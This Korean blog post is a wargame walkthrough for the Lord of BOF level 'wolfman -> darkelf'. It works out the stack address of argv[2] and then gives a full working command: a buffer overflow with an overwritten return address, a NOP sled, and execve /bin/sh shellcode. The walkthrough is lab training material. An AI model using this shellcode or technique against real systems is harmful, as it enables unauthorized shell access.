nemo의 이야기
BOF원정대 wolfman -> darkelf 본문
위 소스를 확인해보면
1. 스택 메모리만 사용해야 된다.
2. argv[1]에 길이에 제한을 걸어 48바이트 이상을 못 쓴다.
따라서 argv[2]애 쉘코드를 입력하여 공격하는 방식으로 하면 성공할 것 이다.
그러면 우선 argv[2]에 주소를 확인하여 argv[1]에 argv[2]에 주소를 넣어주자
avgv[0]에 주소가 bffffab4에 있다는 것을 확인 할 수 있다. 이제 argv[0]에서 부터 argv[2]에 있는 주소를 확인해보자
bffffbf0에 argv[2]가 있는 것을 확인 할 수 있다. 그러면 nop슬라이딩을 이용하여 공격해보자
공격 코드 : ./darkelf $(python -c 'print "A" * 44 + "\xf0\xfb\xff\xbf" + " " + "\x90" * 1000 + "\x31\xd2\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x52\x50\x89\xc3\x31\xc0\xb0\x0b\x89\xe1\xcd\x80"')
위와 같이 성공한 것을 확인할 수 있다.
'Information security > System security' 카테고리의 다른 글
BOF원정대 orge -> troll (0) | 2018.01.10 |
---|---|
BOF원정대 darkelf -> orge (0) | 2018.01.08 |
BOF 원정대 orc -> wolfman (0) | 2017.10.30 |
BOF원정대 goblin -> orc (0) | 2017.10.08 |
BOF원정대 cobolt -> goblin (0) | 2017.10.05 |
Comments